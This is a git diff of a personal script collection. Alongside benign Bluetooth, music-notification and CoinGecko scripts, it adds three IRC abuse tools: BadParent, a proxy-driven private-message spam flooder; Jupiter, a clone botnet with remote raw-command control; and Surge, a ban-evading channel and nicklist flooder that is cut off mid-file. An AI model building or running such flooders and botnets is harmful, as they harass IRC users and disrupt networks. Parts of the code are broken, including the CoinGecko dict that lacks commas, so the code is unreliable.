diff --git a/btkb.sh b/btkb.sh
@@ -0,0 +1,12 @@
+#!/bin/sh
+pacman -S bluez bluez-utils
+systemctl enable bluetooth && sudo systemctl start bluetooth
+sed -i 's/#AutoEnable=false/AutoEnable=true/' /etc/bluetooth/main.conf
+bluetoothctl power on # possible bluetoothctl -- <cmd>
+bluetoothctl agent KeyboardOnly
+bluetoothctl pairable on
+bluetoothctl scan on
+bluetoothctl pair CC:C5:0A:20:91:5B
+bluetoothctl trust CC:C5:0A:20:91:5B
+bluetoothctl connect CC:C5:0A:20:91:5B
+bluetoothctl scan off
+\ No newline at end of file
diff --git a/cmus-now b/cmus-now
@@ -0,0 +1,4 @@
+#!/bin/sh
+artist=`cmus-remote -Q | grep --text '^tag artist' | sed '/^tag artistsort/d' | awk '{gsub("tag artist ", "");print}'`
+title=`cmus-remote -Q | grep --text '^tag title' | sed -e 's/tag title //' | awk '{gsub("tag title ", "");print}'`
+notify-send "♫ $artist - $title"
+\ No newline at end of file
diff --git a/coingecko.py b/coingecko.py
@@ -0,0 +1,60 @@
+#!/usr/bin/env python
+# CoinGecko API Class - Developed by acidvegas in Python (https://acid.vegas/coinmarketcap)
+
+'''
+API Reference: https://www.coingecko.com/en/api#explore-api
+'''
+
+import http.client
+import json
+import time
+
+class CoinGecko():
+ def __init__(self):
+ self.cache = dict()
+ self.last = 0
+
+ def api(self, endpoint):
+ conn = http.client.HTTPSConnection('api.coingecko.com', timeout=15)
+ conn.request('GET', '/api/v3/' + endpoint, headers={'Accept':'application/json',})
+ response = conn.getresponse().read().decode('utf-8')
+ conn.close()
+ return json.loads(response)
+
+ def market(self):
+ if time.time() - self.last > 300:
+ page = 1
+ while True:
+ data = self.api('coins/markets?vs_currency=usd&order=market_cap_desc&per_page=250&page=' + str(page) + '&sparkline=true&price_change_percentage=1h%2C24h%2C7d%2C30d%2C1y')
+ if not data:
+ break
+ for coin in data:
+ self.cache[coin['symbol']] = {
+ 'name' : coin['name'],
+ 'price' : coin['current_price'],
+ 'market_cap' : coin['market_cap'],
+ 'rank' : coin['market_cap_rank'],
+ 'volume' : coin['total_volume'],
+ 'change' : {
+ '1h' : coin['price_change_percentage_1h_in_currency'],
+ '1d' : coin['price_change_percentage_24h_in_currency'],
+ '1w' : coin['price_change_percentage_7d_in_currency'],
+ '1m' : coin['price_change_percentage_30d_in_currency'],
+ '1y' : coin['price_change_percentage_1h_in_currency']
+ }
+ }
+ page += 1
+ self.last = time.time()
+ return self.cache
+
+ def trending(self):
+ return [coin['item']['symbol'] for coin in self.api('search/trending')['coins']]
+
+ def global_(self):
+ data = self.api('global')['data']
+ results = {
+ 'cryptocurrencies' : data['active_cryptocurrencies']
+ 'markets' : data['markets']
+ 'btc_dominance' : data['market_cap_percentage']['btc']
+ }
+ return results
+\ No newline at end of file
diff --git a/gitserver.sh b/gitserver.sh
@@ -1,8 +0,0 @@
-#/bin/sh
-[ ! getent group ssh ] && groupadd ssh
-[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells
-[ ! $(getent passwd git > /dev/null) ] && userdel -f git
-[ ! -d /srv/git ] && mkdir /srv/git
-useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git
-echo "PUBLICKEY" > /etc/ssh/authorized_keys/git
-mkdir /srv/git/$1.git && git -C /srv/git/$1.git --bare init && chown -R git:git /srv/git/$1.git
-\ No newline at end of file
diff --git a/irc/bots/badparent.py b/irc/bots/badparent.py
@@ -0,0 +1,302 @@
+#!/usr/bin/env python
+# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
+# badparent.py
+
+'''
+The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
+The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
+Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
+'''
+
+import argparse
+import concurrent.futures
+import os
+import random
+import ssl
+import socket
+import string
+import sys
+import threading
+import time
+
+server = 'irc.server.com'
+port = 6667
+nickname = 'BIGDADDY'
+username = 'dad'
+realname = 'I am horrible...'
+
+def alert(msg):
+ print(f'{get_time()} | [+] - {msg}')
+
+def debug(msg):
+ print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+ print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
+
+def error_exit(msg):
+ raise SystemExit(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+ return time.strftime('%I:%M:%S')
+
+def random_str(size):
+ return ''.join(random.choice(string.ascii_letters) for _ in range(size))
+
+def unicode():
+ msg = ''
+ for i in range(random.randint(400,450)):
+ msg += chr(random.randint(0x1000, 0x3000))
+ return msg
+
+
+
+
+class parent(object):
+ def __init__(self):
+ self.nicklist = list()
+ self.sock = None
+
+ def connect(self):
+ try:
+ self.sock = socket.socket()
+ self.sock.connect((server, port))
+ self.raw(f'USER {username} 0 * :{realname}')
+ self.raw('NICK ' + nickname)
+ except socket.error as ex:
+ error('Failed to connect to IRC server.', ex)
+ self.event_disconnect()
+ else:
+ self.listen()
+
+ def event_connect(self):
+ if config.login.nickserv:
+ self.identify(config.ident.nickname, config.login.nickserv)
+ self.join_channel(config.connection.channel, config.connection.key)
+
+ def event_disconnect(self):
+ error('The parent bot has disconected!')
+ self.sock.close()
+
+ def event_end_of_names(self, chan):
+ if self.nicklist:
+ alert(f'Found {len(self.nicklist)} nicks in channel.')
+ threading.Thread(target=load_children).start()
+ else:
+ error('Failed to parse nicklist from channel.')
+
+ def event_join(self, nick, chan):
+ if chan == config.connection.channel:
+ if nick not in self.nicklist:
+ self.nicklist.append(nick)
+
+ def event_kick(self, nick, chan, kicked):
+ if chan == config.connection.channel:
+ if kicked == config.ident.nickname:
+ time.sleep(3)
+ self.join(self.chan, self.key)
+
+ def event_names(self, chan, names):
+ if chan == config.connection.channel:
+ for name in names:
+ if name[:1] in '~!@%&+:':
+ name = name[1:]
+ if name != config.ident.nickname and name not in self.nicklist:
+ self.nicklist.append(name)
+
+ def event_nick(self, nick, new):
+ if nick in self.nicklist:
+ self.nicklist.remove(nick)
+ self.nicklist.append(new)
+
+ def event_nick_in_use(self):
+ self.raw('NICK ' + random_str(random.randint(4,7)))
+
+ def event_quit(self, nick):
+ if nick in self.nicklist:
+ self.nicklist.remove(nick)
+
+ def handle_events(self, data):
+ args = data.split()
+ if data.startswith('ERROR :Closing Link:'):
+ raise Exception('Connection has closed.')
+ elif args[0] == 'PING':
+ self.raw('PONG ' + args[1][1:])
+ elif args[1] == '001':
+ self.event_connect()
+ elif args[1] == '433':
+ self.event_nick_in_use()
+ elif args[1] == '353':
+ chan = args[4]
+ if ' :' in data:
+ names = data.split(' :')[1].split()
+ elif ' *' in data:
+ names = data.split(' *')[1].split()
+ elif ' =' in data:
+ names = data.split(' =')[1].split()
+ else:
+ names = data.split(chan)[1].split()
+ self.event_names(chan, names)
+ elif args[1] == '366':
+ chan = args[3]
+ self.event_end_of_names(chan)
+ elif args[1] == 'JOIN':
+ nick = args[0].split('!')[0][1:]
+ chan = args[2][1:]
+ self.event_join(nick, chan)
+ elif args[1] == 'KICK':
+ chan = args[2]
+ kicked = args[3]
+ self.event_kick(nick, chan, kicked)
+ elif args[1] == 'NICK':
+ nick = args[0].split('!')[0][1:]
+ new = args[2][1:]
+ self.event_nick(nick, new)
+ elif args[1] == 'QUIT' :
+ nick = args[0].split('!')[0][1:]
+ self.event_quit(nick)
+
+ def join_channel(self, chan, key=None):
+ self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
+
+ def listen(self):
+ while True:
+ try:
+ data = self.sock.recv(1024).decode('utf-8')
+ for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+ self.handle_events(line)
+ except (UnicodeDecodeError,UnicodeEncodeError):
+ pass
+ except Exception as ex:
+ error('Unexpected error occured.', ex)
+ break
+ self.event_disconnect()
+
+ def raw(self, msg):
+ self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+
+
+class child:
+ def __init__(self, data_line):
+ self.data_line = data_line
+ self.sock = None
+
+ def attack(self):
+ while True:
+ try:
+ if not Parent.nicklist:
+ error('Nicklist has become empty!')
+ break
+ for name in Parent.nicklist:
+ self.sendmsg(name, unicode())
+ time.sleep(config.throttle.pm)
+ except:
+ break
+
+ def connect(self):
+ try:
+ self.create_socket()
+ self.sock.connect((config.connection.server, config.connection.port))
+ self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
+ self.raw('NICK ' + random_str(random.randint(4,7)))
+ except socket.error:
+ self.sock.close()
+ else:
+ self.listen()
+
+ def create_socket(self):
+ family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
+ if pargs.proxy:
+ proxy_server, proxy_port = self.data_line.split(':')
+ self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
+ self.sock.setblocking(0)
+ self.sock.settimeout(config.throttle.timeout)
+ self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
+ elif pargs.vhost:
+ self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
+ self.sock.bind((self.data_line, 0))
+ if config.connection.ssl:
+ self.sock = ssl.wrap_socket(self.sock)
+
+ def listen(self):
+ while True:
+ try:
+ data = self.sock.recv(1024).decode('utf-8')
+ for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+ args = data.split()
+ if data.startswith('ERROR :Closing Link:'):
+ raise Exception('Connection has closed.')
+ elif args[0] == 'PING':
+ self.raw('PONG ' + args[1][1:])
+ elif args[1] == '001':
+ alert(f'Successful connection. ({self.data_line})')
+ threading.Thread(target=self.attack).start()
+ elif args[1] == '401':
+ nick = args[3]
+ self.event_bad_nick()
+ elif args[1] == '433':
+ self.raw('NICK ' + random_str(random.randint(4,7)))
+ elif args[1] == '486':
+ nick = args[-1:]
+ self.event_bad_nick(nick)
+ elif args[1] == '716':
+ nick = args[3]
+ if nick in Parent.nicklist:
+ Parent.nicklist.remove(nick)
+ elif args[1] == 'NOTICE':
+ if 'User does not accept private messages' in data:
+ nick = args[5][1:-1]
+ self.event_bad_nick(nick)
+ except (UnicodeDecodeError,UnicodeEncodeError):
+ pass
+ except:
+ break
+ self.sock.close()
+
+ def raw(self, msg):
+ self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+ def sendmsg(self, target, msg):
+ self.raw(f'PRIVMSG {target} :{msg}')
+
+
+
+def load_children():
+ debug('Loading children bots...')
+ for i in range(config.throttle.concurrency):
+ debug('Concurrency round starting....')
+ with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
+ checks = {executor.submit(child(item).connect): item for item in data_lines}
+ for future in concurrent.futures.as_completed(checks):
+ checks[future]
+ debug('Flooding is complete. (Threads still may be running!)')
+
+# Main
+print('#'*56)
+print('#{0}#'.format(''.center(54)))
+print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
+print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
+print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
+print('#{0}#'.format(''.center(54)))
+print('#'*56)
+parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
+parser.add_argument('input', help='file to scan')
+parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
+parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
+pargs = parser.parse_args()
+if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
+ error_exit('Invalid arguments.')
+if pargs.proxy:
+ try:
+ import socks
+ except ImportError:
+ error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
+if not os.path.isfile(pargs.input):
+ error_exit('No such input file.')
+data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
+debug(f'Loaded {len(data_lines)} lines from file.')
+random.shuffle(data_lines)
+debug('Starting parent bot connection...')
+Parent = parent()
+Parent.connect()
diff --git a/irc/bots/jupiter.py b/irc/bots/jupiter.py
@@ -0,0 +1,309 @@
+#!/usr/bin/env python
+# Jupiter IRC Botnet - Developed by acidvegas in Python (https://acid.vegas/jupiter)
+
+'''
+Jupiter will create a botnet by connecting a defined number of clones to every EFMet server.
+A single host could potentially create over 30 clones.
+It is meant to monitor/jupe/hold nicks & be controlled to do just about anything.
+The bot is designed to be very minimal, secure, & trustless by nature.
+This means anyone can run a copy of your script on their server to help build your botnet.
+
+Commands
+ id | Send bot identity
+ raw [-d] <data> | Send \<data> to server. optionally delayed with -d argument
+ monitor list | Return MONITOR list
+ monitor reset | Reset MONITOR list
+ monitor <+/-><nicks> | Add (+) or Remove (-) <nicks> from MONITOR list. (Can be a single nick or comma seperated list)
+
+All commands must be prefixed with @all or the bots nick & will work in a channel or private message.
+Raw data must be IRC RFC compliant data & any nicks in the MONITOR list will be juped as soon as they become available.
+
+It is highly recommended that you use a random spoofing ident protocol daemon:
+ https://github.com/acidvegas/random/blob/master/irc/identd.py
+'''
+
+import random
+import re
+import socket
+import ssl
+import time
+import threading
+
+# Connection
+servers = (
+ 'efnet.deic.eu', # IPv6
+ 'efnet.port80.se', # IPv6
+ 'efnet.portlane.se', # IPv6
+ 'irc.choopa.net', # IPv6
+ 'irc.colosolutions.net',
+ 'irc.du.se',
+ 'irc.efnet.fr', # IPv6
+ 'irc.efnet.nl', # IPv6 +6669
+ 'irc.homelien.no', # IPv6
+ 'irc.mzima.net', # IPv6 +6697
+ 'irc.nordunet.se', # IPv6
+ 'irc.prison.net',
+ 'irc.underworld.no', # IPv6
+ 'irc.servercentral.net' # +9999
+)
+ipv6 = False
+vhosts = None # Use (line.rstrip() for line in open('vhosts.txt','r').readlines() if line) for reading from a file.
+channel = '#jupiter'
+key = None
+
+# Settings
+admin = 'nick!user@host' # Can use wildcards (Must be in nick!user@host format)
+concurrency = 3 # Number of clones to load per server
+id = 'TEST' # Unique ID so you can tell which bots belong what server
+
+# Formatting Control Characters / Color Codes
+bold = '\x02'
+reset = '\x0f'
+green = '03'
+red = '04'
+purple = '06'
+orange = '07'
+yellow = '08'
+light_green = '09'
+cyan = '10'
+light_cyan = '11'
+light_blue = '12'
+pink = '13'
+grey = '14'
+
+# Globals
+bots = list()
+
+def botlist(nick):
+ global bots
+ if nick[:1] == '+':
+ bots.append(nick[1:])
+ elif nick[:1] == '-':
+ bots.remove(nick[1:])
+
+def color(msg, foreground, background=None):
+ return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
+
+def debug(msg):
+ print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+ print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+ return time.strftime('%I:%M:%S')
+
+def is_admin(ident):
+ return re.compile(admin.replace('*','.*')).search(ident)
+
+def random_nick():
+ prefix = random.choice(['st','sn','cr','pl','pr','qu','br','gr','sh','sk','kl','wr']+list('bcdfgklmnprstvwz'))
+ midfix = random.choice(('aeiou'))+random.choice(('aeiou'))+random.choice(('bcdfgklmnprstvwz'))
+ suffix = random.choice(['ed','est','er','le','ly','y','ies','iest','ian','ion','est','ing','led']+list('abcdfgklmnprstvwz'))
+ return prefix+midfix+suffix
+
+class clone(threading.Thread):
+ def __init__(self, server, vhost):
+ self.monlist = list()
+ self.nickname = random_nick()
+ self.server = server
+ self.sock = None
+ self.vhost = vhost
+ threading.Thread.__init__(self)
+
+ def run(self):
+ time.sleep(random.randint(300,900))
+ self.connect()
+
+ def connect(self):
+ try:
+ self.create_socket()
+ self.sock.connect((server, 6667))
+ self.raw(f'USER {random_nick()} 0 * :{random_nick()}')
+ self.nick(self.nickname)
+ except socket.error as ex:
+ error('Failed to connect to IRC server.', ex)
+ self.event_disconnect()
+ else:
+ self.listen()
+
+ def create_socket(self):
+ ipv6_check = set([ip[4][0] for ip in socket.getaddrinfo(server,6667) if ':' in ip[4][0]])
+ self.sock = socket.socket(socket.AF_INET6) if ipv6 and ipv6_check else socket.socket()
+ if self.vhost:
+ self.sock.bind((self.vhost,0))
+ #self.sock = ssl.wrap_socket(self.sock)
+
+ def event_connect(self):
+ if self.nickname not in bots:
+ botlist('+'+self.nickname)
+ if self.monlist:
+ self.monitor('+', self.monlist)
+ self.join_channel(channel, key)
+
+ def event_ctcp(self, nick, target, msg):
+ if target == self.nickname:
+ self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('CTCP', green), color('<', grey), color(nick, yellow), color('>', grey), msg))
+
+ def event_disconnect(self):
+ if self.nickname in bots:
+ botlist('-'+self.nickname)
+ self.sock.close()
+ time.sleep(86400+random.randint(1800,3600))
+ self.connect()
+
+ def event_nick(self, nick, new_nick):
+ if nick == self.nickname:
+ self.nickname = new_nick
+ if new_nick in self.monlist:
+ self.monitor('C')
+ self.monlist = list()
+ elif nick in self.monlist:
+ self.nick(nick)
+
+ def event_nick_in_use(self, nick, target_nick):
+ if nick == '*':
+ self.nickname = random_nick()
+ self.nick(self.nickname)
+
+ def event_notice(self, nick, target, msg):
+ if target == self.nickname:
+ self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('NOTICE', purple), color('<', grey), color(nick, yellow), color('>', grey), msg))
+
+ def event_message(self, ident, nick, target, msg):
+ if is_admin(ident):
+ args = msg.split()
+ if args[0] in ('@all',self.nickname) and len(args) >= 2:
+ if len(args) == 2:
+ if args[1] == 'id':
+ self.sendmsg(target, id)
+ elif len(args) == 3 and args[1] == 'monitor':
+ if args[2] == 'list' and self.monlist:
+ self.sendmsg(target, '[{0}] {1}'.format(color('Monitor', light_blue), ', '.join(self.monlist)))
+ elif args[2] == 'reset' and self.monlist:
+ self.monitor('C')
+ self.monlist = list()
+ self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(self.monlist)), cyan), color('removed', red)))
+ elif args[2][:1] == '+':
+ nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick not in self.monlist]
+ if nicks:
+ self.monitor('+', nicks)
+ self.monlist += nicks
+ self.sendmsg(target, '{0} nick(s) have been {1} to the monitor list.'.format(color(str(len(nicks)), cyan), color('added', green)))
+ elif args[2][:1] == '-':
+ nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick in self.monlist]
+ if nicks:
+ self.monitor('-', nicks)
+ for mon_nick in nicks:
+ self.monlist.remove(mon_nick)
+ self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(nicks)), cyan), color('removed', red)))
+ elif len(args) >= 4 and args[1] == 'raw':
+ if args[2] == '-d':
+ data = ' '.join(args[3:])
+ threading.Thread(target=self.raw, args=(data,True)).start()
+ else:
+ data = ' '.join(args[2:])
+ self.raw(data)
+ elif target == self.nickname:
+ if msg.startswith('\x01ACTION'):
+ self.sendmsg(channel, '[{0}] {1}{2}{3} * {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg[8:][:-1]))
+ else:
+ self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg))
+
+ def event_mode(self, nick, chan, modes):
+ pass # Don't know what we are doing with this yet.
+
+ def event_quit(self, nick):
+ if nick in self.monlist:
+ self.nick(nick)
+
+ def handle_events(self, data):
+ args = data.split()
+ if data.startswith('ERROR :Closing Link:'):
+ raise Exception('Connection has closed.')
+ elif data.startswith('ERROR :Reconnecting too fast'):
+ raise Exception('Connection has closed. (throttled)')
+ elif args[0] == 'PING':
+ self.raw('PONG ' + args[1][1:])
+ elif args[1] == '001': # RPL_WELCOME
+ self.event_connect()
+ elif args[1] == '433' and len(args) >= 4: # ERR_NICKNAMEINUSE
+ nick = args[2]
+ target_nick = args[3]
+ self.event_nick_in_use(nick, target_nick)
+ elif args[1] == '731' and len(args) >= 4: # RPL_MONOFFLINE
+ nick = args[3][1:]
+ self.nick(nick)
+ elif args[1] == 'MODE' and len(args) >= 4:
+ nick = args[0].split('!')[0][1:]
+ chan = args[2]
+ modes = ' '.join(args[:3])
+ self.event_mode(nick, chan, modes)
+ elif args[1] == 'NICK' and len(args) == 3:
+ nick = args[0].split('!')[0][1:]
+ new_nick = args[2][1:]
+ self.event_nick(nick, new_nick)
+ elif args[1] == 'NOTICE':
+ nick = args[0].split('!')[0][1:]
+ target = args[2]
+ msg = ' '.join(args[3:])[1:]
+ self.event_notice(nick, target, msg)
+ elif args[1] == 'PRIVMSG' and len(args) >= 4:
+ ident = args[0][1:]
+ nick = args[0].split('!')[0][1:]
+ target = args[2]
+ msg = ' '.join(args[3:])[1:]
+ if msg[:1] == '\001':
+ msg = msg[1:]
+ self.event_ctcp(nick, target, msg)
+ else:
+ self.event_message(ident, nick, target, msg)
+ elif args[1] == 'QUIT':
+ nick = args[0].split('!')[0][1:]
+ self.event_quit(nick)
+
+ def join_channel(self, chan, key=None):
+ self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
+
+ def listen(self):
+ while True:
+ try:
+ data = self.sock.recv(1024).decode('utf-8')
+ for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+ debug(line)
+ self.handle_events(line)
+ except (UnicodeDecodeError,UnicodeEncodeError):
+ pass
+ except Exception as ex:
+ error('Unexpected error occured.', ex)
+ break
+ self.event_disconnect()
+
+ def mode(self, target, mode):
+ self.raw(f'MODE {target} {mode}')
+
+ def monitor(self, action, nicks=list()):
+ self.raw(f'MONITOR {action} ' + ','.join(nicks))
+
+ def nick(self, nick):
+ self.raw('NICK ' + nick)
+
+ def raw(self, data, delay=False):
+ if delay:
+ time.sleep(random.randint(300,900))
+ self.sock.send(bytes(data + '\r\n', 'utf-8'))
+
+ def sendmsg(self, target, msg):
+ self.raw(f'PRIVMSG {target} :{msg}')
+
+# Main
+if type(vhosts) == list:
+ for vhost in vhosts:
+ for i in range(concurrency):
+ for server in servers:
+ clone(server, vhost).start()
+else:
+ for i in range(concurrency):
+ for server in servers:
+ clone(server, vhosts).start()
+while True:input('')
diff --git a/irc/bots/surge.py b/irc/bots/surge.py
@@ -0,0 +1,396 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/trollbots)
+# surge.py
+
+'''
+- Action
+- Color
+- CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
+- Cycle *(Join/Part)*
+- Hilight
+- Invite
+- Message / Private Message
+- Nick
+- Notice
+- Topic
+- Nick Registration (Channel & VHOST also if successful)
+
+The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
+If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
+'''
+
+import argparse
+import concurrent.futures
+import os
+import random
+import ssl
+import socket
+import string
+import sys
+import threading
+import time
+
+class config:
+ class connection:
+ server = 'irc.server.com'
+ port = 6667
+ ipv6 = False
+ ssl = False
+ password = None
+ channel = '#chats'
+ key = None
+
+ class attacks:
+ channel = ['action','color','ctcp','msg','nick','notice','part','topic']
+ message = 'SURGE SURGE SURGE SURGE SURGE'
+ nicklist = ['ctcp','invite','notice','private']
+
+ class throttle:
+ attack = 3
+ concurrency = 3
+ threads = 100
+ rejoin = 3
+ timeout = 15
+
+# Bad IRC Numerics
+bad_numerics = {
+ '465' : 'ERR_YOUREBANNEDCREEP',
+ '471' : 'ERR_CHANNELISFULL',
+ '473' : 'ERR_INVITEONLYCHAN',
+ '474' : 'ERR_BANNEDFROMCHAN',
+ '475' : 'ERR_BADCHANNELKEY',
+ '477' : 'ERR_NEEDREGGEDNICK',
+ '519' : 'ERR_TOOMANYUSERS'
+}
+
+def alert(msg):
+ print(f'{get_time()} | [+] - {msg}')
+
+def debug(msg):
+ print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+ if reason:
+ print(f'{get_time()} | [!] - {msg} ({reason})')
+ else:
+ print(f'{get_time()} | [!] - {msg}')
+
+def error_exit(msg):
+ raise SystemExit(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+ return time.strftime('%I:%M:%S')
+
+def keep_alive():
+ try:
+ while True:
+ input('')
+ except KeyboardInterrupt:
+ sys.exit()
+
+def random_int(min, max):
+ return random.randint(min, max)
+
+def random_str(size):
+ return ''.join(random.choice(string.ascii_letters) for _ in range(size))
+
+class clone:
+ def __init__(self, data_line):
+ self.data_line = data_line
+ self.invite_channel = '#' + random_str(random_int(4,7))
+ self.invite_count = 0
+ self.nickname = random_str(random_int(4,7))
+ self.nicklist = []
+ self.sock = None
+
+ def run(self):
+ self.connect()
+
+ def action(self, chan, msg):
+ self.sendmsg(chan, f'\x01ACTION {msg}\x01')
+
+ def attack_channel(self):
+ while True:
+ if not config.attacks.channel:
+ error('Channel attack list is empty.')
+ break
+ else:
+ option = random.choice(config.attacks.channel)
+ try:
+ if option in ('nick','part','topic'):
+ if option == 'nick':
+ self.nickname = random_str(random_int(4,7))
+ self.nick(self.nickname)
+ elif option == 'part':
+ self.part(config.connection.channel, config.attacks.message)
+ time.sleep(config.throttle.rejoin)
+ self.join_channel(config.connection.channel, config.connection.key)
+ elif option == 'topic':
+ self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10))))
+ else:
+ if self.nicklist:
+ message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3))))
+ else:
+ message = self.rainbow(config.attacks.message)
+ if option == 'action':
+ self.action(config.connection.channel, message)
+ elif option == 'ctcp':
+ self.ctcp(config.connection.channel, message)
+ elif option == 'msg':
+ self.sendmsg(config.connection.channel, message)
+ elif option == 'notice':
+ self.notice(config.connection.channel, message)
+ time.sleep(config.throttle.attack)
+ except:
+ break
+
+ def attack_nicklist(self):
+ while True:
+ if not self.nicklist:
+ error('Nicklist attack list is empty.')
+ break
+ else:
+ try:
+ for nick in self.nicklist:
+ option = random.choice(config.attacks.nicklist)
+ if option == 'ctcp':
+ self.ctcp(nick, random.choice(('PING','TIME','VERSION')))
+ elif option == 'invite':
+ self.invite(nick, self.invite_channel)
+ self.invite_count += 1
+ if self.invite_count >= 10:
+ self.part(self.invite_channel)
+ self.invite_channel = '#' + random_str(random_int(5,8))
+ self.join(self.invite_channel)
+ elif option == 'notice':
+ self.notice(nick, config.attacks.message)
+ elif option == 'private':
+ self.sendmsg(nick, self.rainbow(config.attacks.message))
+ time.sleep(config.throttle.attack)
+ except:
+ break
+
+ def connect(self):
+ try:
+ self.create_socket()
+ self.sock.connect((config.connection.server, config.connection.port))
+ self.register()
+ except socket.error:
+ self.sock.close()
+ else:
+ self.listen()
+
+ def create_socket(self):
+ family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
+ if pargs.proxy:
+ proxy_server, proxy_port = self.data_line.split(':')
+ self.sock = socks.socksocket(family, socket.SOCK_STREAM)
+ self.sock.setblocking(0)
+ self.sock.settimeout(config.throttle.timeout)
+ self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
+ elif pargs.vhost:
+ self.sock = socket.socket(family, socket.SOCK_STREAM)
+ self.sock.bind((self.data_line, 0))
+ if config.connection.ssl:
+ self.sock = ssl.wrap_socket(self.sock)
+
+ def ctcp(self, target, data):
+ self.sendmsg(target, f'\001{data}\001')
+
+ def event_connect(self):
+ alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})')
+ self.join_channel(config.connection.channel, config.connection.key)
+ self.join_channel(self.invite_channel)
+
+ def event_end_of_names(self):
+ threading.Thread(target=self.attack_channel).start()
+ threading.Thread(target=self.attack_nicklist).start()
+
+ def event_kick(self, chan, kicked):
+ if kicked == self.nickname:
+ time.sleep(config.throttle.rejoin)
+ self.join_channel(config.connection.channel, config.connection.key)
+ else:
+ if nick in self.nicklist:
+ self.nicklist.remove(nick)
+
+ def event_names(self, chan, names):
+ for name in names:
+ if name[:1] in '~!@%&+:':
+ name = name[1:]
+ if name != self.nickname and name not in self.nicklist:
+ self.nicklist.append(name)
+
+ def event_nick_in_use(self):
+ self.nickname = random_str(random_int(5,8))
+ self.nick(self.nickname)
+
+ def event_quit(self, nick):
+ if nick in self.nicklist:
+ self.nicklist.remove(nick)
+
+ def handle_events(self, data):
+ args = data.split()
+ if args[0] == 'PING':
+ self.raw('PONG ' + args[1][1:])
+ elif args[1] == '001':
+ self.event_connect()
+ elif args[1] == '353':
+ chan = args[4]
+ if ' :' in data:
+ names = data.split(' :')[1].split()
+ elif ' *' in data:
+ names = data.split(' *')[1].split()
+ elif ' =' in data:
+ names = data.split(' =')[1].split()
+ else:
+ names = data.split(chan)[1].split()
+ self.event_names(chan, names)
+ elif args[1] == '366':
+ self.event_end_of_names()
+ elif args[1] == '401':
+ name = args[3]
+ if name in self.nicklist:
+ self.nicklist.remove(name)
+ elif args[1] == '404':
+ if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel:
+ config.attacks.channel.remove('action')
+ elif 'Color is not permitted' in data and 'color' in config.attacks.channel:
+ config.attacks.channel.remove('color')
+ elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel:
+ config.attacks.channel.remove('ctcp')
+ elif 'You need voice' in data or 'You must have a registered nick' in data:
+ for attack in ('action','ctcp','msg','notice','topic'):
+ if attack in config.attacks.channel:
+ config.attacks.channel.remove(attack)
+ elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel:
+ self.attacks_channel.remove('notice')
+ elif args[1] == '433':
+ self.event_nick_in_use()
+ elif args[1] == '447':
+ if 'nick' in config.attacks.channel:
+ config.attacks.channel.remove('nick')
+ elif args[1] == '482':
